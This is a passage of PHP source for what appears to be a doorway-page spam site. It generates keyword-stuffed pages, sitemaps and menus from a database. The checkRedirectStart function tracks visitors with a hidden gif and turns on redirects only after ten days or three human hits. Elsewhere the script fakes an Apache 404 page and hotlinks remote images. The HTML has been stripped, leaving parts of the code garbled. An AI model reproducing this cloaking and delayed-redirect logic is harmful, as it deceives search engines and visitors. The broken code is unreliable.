count; if ($_GET["showImage"]) { $img = explode("/",$_GET["showImage"]); $type = $img[0]; $id = (int)$img[1]; if ($id < 1 or $id > $pageCount) { $id = mt_rand(1,$pageCount); } if ($type != "s" and $type != "b") { if (strpos($_GET["showImage"],"xlarge") !== false) $type = "b"; else if (strpos($_GET["showImage"],"small") !== false) $type = "s"; else { if (mt_rand(1,2) == 1) $type = "s"; else $type = "b"; } } $data = $db->getbykey($id); if ($type == "s") $imgUrl = $data[2]; else $imgUrl = $data[3]; header('Content-Type: image/jpeg'); header('HTTP/1.1 301 Moved Permanently'); header("Location: http://photofile.ru/photo/".$imgUrl); exit(); } if ($__cnf["type"] !== "ppc") $redirect_start = checkRedirectStart(); if ($__cnf["language"] == "russian") header("Content-Type:text/html; charset=windows-1251"); if (!$pathVar) $pathVar = "pageId"; if (!$categVar) $categVar = "categId"; if (!$mainPageId) $mainPageId = "4"; if (!$imageDir) $imageDir = "img"; $categId = @$_GET[$categVar]; if ($__cnf["htaccess"] == true) { $kw = $_GET['kw']; $kw = explode('/',$kw); $kws = sizeof($kw)-1; $kw = $kw[$kws]; $kw = explode("-",$kw); $kw = trim($kw[0]); $pageId = (int)$kw; if (!$pageId) $pageId = @$_GET[$pathVar]; $_pageType = trim($kw); } else { $pageId = @$_GET[$pathVar]; $_pageType = $pageId; } $se_query = getQuery(); if ($_GET["showMe"] == "contact" or $_pageType == "contacts" or $_pageType == "contact" or $_pageType == "kontakty" or $_pageType == "address") { $pageId = "contacts"; } if ($_GET["showMe"] == "htmlsitemap" or $_pageType == "sitemap" or $_pageType == "karta" or $_pageType == "map" or $_pageType == "site_map" or $_pageType == "map_site") { $pageId = "htmlsitemap"; } if ($_GET["showMe"] == "xmlsitemap" or $_pageType == "xmlmap" or $_pageType == "sitemapxml" or $_pageType == "xmlsitemap" or $_pageType == "xmlmap" or $_pageType == "xmlkarta") { $pageId = "xmlsitemap"; } if ($categId >0) { showCategPage($categId); exit(); } if ($pageId > 0) { showPage($pageId); exit(); } if ($pageId == "contacts") { showContacts(); exit(); } if ($pageId == "htmlsitemap") { showHtmlSiteMap(); exit(); } if ($pageId == "xmlsitemap") { showXmlSiteMap(); exit(); } $isMainPage=true; showMainPage(); //----------// function showContacts() { global $redirect_start, $__cnf, $se_query; if(!$__cnf["address"]) { error404(); exit(); } $contactWord = getContactMenuName(); $emailPrfx = getEmailPrefix(); $emailWord = getEmailWord(); $adrWord = getAddrWord(); $telWord = getTelWord(); $metaDescr = $contactWord; $metaTitle = $contactWord; include("./design/header.inc.php"); if($__cnf["int_var"][6] >= 8 and $__cnf["int_var"][7] <= 5) showMainMenu(); $address = explode("|",$__cnf["address"]); $urlNoWww = str_replace("www.","",$_SERVER[SERVER_NAME]); $hh = getH1orH2orH3(); echo "<".$hh.">$contactWord ".$adrWord." : ".$address[0]."
".$telWord." : ".$address[1]."
".$emailWord." : ".$emailPrfx."@".$urlNoWww.""; if($__cnf["int_var"][6] >= 8 and $__cnf["int_var"][7] > 5) showMainMenu(); include("./design/footer.inc.php"); } function showCategPage($categId) { global $redirect_start, $__cnf,$db,$pageCount,$oldLink,$gid1,$gid2,$categVar, $se_query; $dataPages = $db->getbyfield($categId); $sof = sizeof($dataPages); $categNameWord = getCategNameWord(); for ($a=0;$a<$sof;$a++) { $data = $dataPages[$a]; if ($a==0) { $isMainPage = true; $metaDescr = makeDescription($data); $metaTitle = $categNameWord.getRazdelitel().$data[5].getRazdelitel2().getMetaTitle($data,$id); include("./design/header.inc.php"); $hh = getH1orH2orH3(); echo "<".$hh.">".$categNameWord.getRazdelitel2().$data[5].""; } showSmallPost($data,0,false,true,false); } $nextCategId = $categId+1; if ($nextCategId > $__cnf["categLimit"]) $nextCategId = 1; $nextCategWord = getNextCategWord($nextCategId); echo "".$nextCategWord.""; include("./design/footer.inc.php"); } function showMainPage() { global $redirect_start, $__cnf, $db,$pageCount,$mainPageId,$oldLink,$gid1,$gid2,$showOldLink,$categVar, $se_query; $nums = "18"; $h_cnt[2] = mt_rand(4,6); $h_cnt[3] = mt_rand(4,6)+$h_cnt[2]; $h_cnt[4] = mt_rand(4,6)+$h_cnt[3]; for ($a=0;$a<$nums;$a++) { if ($a < 3) $id = $mainPageId+$a; else $id = rand(1,$pageCount); $data = $db->getbykey($id); if ($a==0) { $isMainPage = true; $metaDescr = makeDescription($data); $metaTitle = getMetaTitle($data,$id); include("./design/header.inc.php"); if ($__cnf[int_var][5] <= 5) showMainMenu(); } showSmallPost($data,$a,$h_cnt); } if ($__cnf[int_var][5] > 5) showMainMenu(); include("./design/footer.inc.php"); } function showPage($id) { global $redirect_start, $__cnf, $db,$pageCount,$pathVar,$thisPageId,$oldLink,$gid1,$gid2,$showOldLink,$imageDir, $se_query; $id = (int)$id; $thisPageId = $id; if ($id > $pageCount) { error404(); exit(); } $data = $db->getbykey($id); if (sizeof($data) < 2) { error404(); exit(); } $content = @$data[1]; $title = @$data[0]; $image_s = imagePrepare($data['id'],$data[2],"s"); $image_b = imagePrepare($data['id'],$data[3],"b"); $metaDescr = @makeDescription($data); $metaTitle = getMetaTitle($data,$id); include("./design/header.inc.php"); ?>



<?=$title;?>
404 Not Found

Not Found

The requested URL ".$_SERVER[REQUEST_URI]." was not found on this server.


Apache Server at ".$_SERVER[HTTP_HOST]." Port 80
"; header("HTTP/1.0 404 Not Found"); header("Content-Length:".strlen($errorText)); header("Connection: close"); header("Content-Type:text/html; charset=iso-8859-1"); echo $errorText; exit(); } function showMainMenu() { global $redirect_start, $db,$pageCount,$pathVar,$isMainPage,$thisPageId, $__cnf; $menu_limit = "1"; $from = $thisPageId-$menu_limit; $to = $thisPageId+$menu_limit; ?>

Main navigation

"; for ($a=$from;$a<=$to;$a++) { $id = $a; if ($id < 1) $id = $pageCount+$a; else if ($id > $pageCount) $id = $a-$pageCount; $data = $db->getbykey($id); if ($__cnf[int_var][4] < 5) $tag = "strong"; else if ($__cnf[int_var][4] >= 5) $tag = "b"; if ($thisPageId == $id) { echo "
  • <$tag>".$data[0]."
  • "; } else { $link = getLinkPath($data); if ($link != false) echo "
  • ".$data[0]."
  • "; } } if ($isMainPage == true) { $contactWord = getContactMenuName(); $navWord = getNavigationWord(); $sitemapLink = getLinkPath("sitemap"); $contactLink = getLinkPath("contact"); echo "
  • ".$navWord."
  • "; echo "
  • ".$contactWord."
  • "; } echo ""; } function showRandMenu() { global $redirect_start, $db,$pageCount,$pathVar,$isMainPage,$thisPageId; return true; $menuLimit = "4"; for ($a=0;$a<$menuLimit;$a++) { $id = rand(1,$pageCount); $data = $db->getbykey($id); $link = getLinkPath($data); if ($link != false) echo "
  • ".$data[0]."
  • \n"; } } function showAdditionalPages($id,$randCnt = 2) { global $redirect_start, $pageCount,$imageDir,$db; $from = $id+1+1; $to = $from+2; for ($a=$from;$a<=$to;$a++) { $id = $a; if ($id < 1) $id = $pageCount+$a; else if ($id > $pageCount) $id = $a-$pageCount; $data = $db->getbykey($id); showSmallPost($data,0,false,true,false); } for ($a=1;$a<=$randCnt;$a++) { $id = mt_rand(1,$pageCount); $data = $db->getbykey($id); showSmallPost($data,0,false,true,false); } } function showSmallPost($data,$a,$h_cnt,$img = true,$categ = true) { global $redirect_start, $__cnf, $categVar; $categWord = getCategNameWord(); $commentWord = getCommentWord(); $authorWord = getAuthorWord(); $authorName = getAuthorName(); $image = imagePrepare($data['id'],$data[2],"s"); $title = @$data[0]; $content = @$data[1]; $content = strip_tags($content); $content = substr($content,0,180); $content = explode(" ",$content); $last = sizeof($content)-1;unset($content[$last]); $content = implode($content," "); $content = trim($content,", ")."..."; $link = @getLinkPath($data); ?>
    <?=$title;?>
    : «» : «» :
    ".$sitemapWord."\n"; echo ""; include("./design/footer.inc.php"); } function showXmlSiteMap() { global $redirect_start, $categVar, $__cnf, $db,$pageCount; ?>xml version="1.0" encoding="UTF-8"";?> http://'.@$_SERVER[SERVER_NAME].'/ '.date('Y-m-d\TH:i:s')."+00:00".' '; $sof = "15"; if ($sof > $__cnf["categLimit"]) $sof = $__cnf["categLimit"]; for ($a=1;$a<=$sof;$a++) { $path = "http://".@$_SERVER[SERVER_NAME]."/?".$categVar."=".$a; echo "\n\n".$path."\n".date('Y-m-d\TH:i:s')."+00:00"."\n\n"; } for ($a=0;$a<$pageCount;$a++) { $id = $a+1; $data = $db->getbykey($id); $url = getLinkPath($data); $path = "http://".@$_SERVER[SERVER_NAME]."".$url; echo "\n".$path."\n".date('Y-m-d\TH:i:s')."+00:00"."\n\n"; } echo "\n"; } function getContactMenuName(){return "Link";} function getEmailPrefix(){return "info";} function getAddrWord(){return "Address";} function getTelWord(){return "Telephone";} function getEmailWord(){return "EMail";} function getNextCategWord($nextCategId){return "Next category";} function getCategNameWord(){return "Group";} function getRazdelitel(){return " – ";} function getRazdelitel2(){return " - ";} function getNavigationWord(){return "Section map";} function getContentClassName(){return "maindata";} function getMainPageWord(){return "Site";} function getNavClassName(){return "mainNavigation";} function getCommentWord(){return "Replies";} function getAuthorWord(){return "Added";} function getAuthorName(){return "Administrator";} function getYouTubeTemplate($vid){return "

    Video:

    \n\r".'';} function getH1orH2orH3(){return "h1";} function checkRedirectStart() { global $__cnf; $startPeriod = time()-$__cnf["createDate"]; if ($startPeriod >= 864000) return true; else { if(is_file("./_redir_start")) return true; if ($_GET["px"] > 0) { $human_count = @file_get_contents("./_human_count"); $human_count = (int)$human_count; $human_count++; $handlew = @fopen("./_human_count", 'w+'); @fwrite($handlew, $human_count); @fclose($handlew); if ($human_count >= 3) { $handlew = @fopen("./_redir_start", 'w+'); @fwrite($handlew, @date("Y-m-d h:i:s")); @fclose($handlew); } header('Content-type: image/gif'); echo base64_decode("R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="); exit(); } } return false; } function get_random_image($type="s",$id = "rand") { global $imageDir,$noCacheImage; global $dontDownloadImages,$__cnf,$pageCount,$db; if ($id == "rand") $img_id = mt_rand(1,$pageCount); else $img_id = $id; $img_data = $db->getbykey($img_id); if ($type == "s") return imagePrepare($img_id,$img_data[2],"s"); else return imagePrepare($img_id,$img_data[3],"b"); } function getMetaTitle($data,$id) { global $__cnf,$db; if ($__cnf["keysInTitle"] > 1) { $mtitles[] = $data[0]; $tid = $id+1; for ($t=0;$t<$__cnf["keysInTitle"]-1;$t++) { $tmp = $db->getbykey($tid); $mtitles[] = $tmp[0]; $tid++; } $mtitles = array_unique($mtitles); $metaTitle = trim(implode(getRazdelitel2(),$mtitles)," ".getRazdelitel2()); } else $metaTitle = $data[0]; if ($__cnf["addTitle"]) { if ($__cnf["int_var"][2] >= 4) $metaTitle = $metaTitle.getRazdelitel().$__cnf["addTitle"]; else $metaTitle = ucfirst($__cnf["addTitle"]).getRazdelitel().$metaTitle; } return $metaTitle; } function getQuery() { $url = $_SERVER[HTTP_REFERER]; if (!$url) return ""; $url = str_replace("?","&",$url); if (stripos($url,"google.") !== false or stripos($url,"bing.") !== false or stripos($url,"ask.") !== false or stripos($url,"alltheweb.") !== false or stripos($url,"altavista.") !== false) { $query = explode('&q=',$url); $query = $query[1]; $query = explode("&",$query); $query = $query[0]; } else if (stripos($url,"yahoo.") !== false) { $query = explode('&p=',$url); $query = $query[1]; $query = explode("&",$query); $query = $query[0]; } else if (stripos($url,"lycos.") !== false) { $query = explode('&query=',$url); $query = $query[1]; $query = explode("&",$query); $query = $query[0]; } else return ""; $query = trim(urldecode($query)); $query = strtolower($query); return $query; } ?>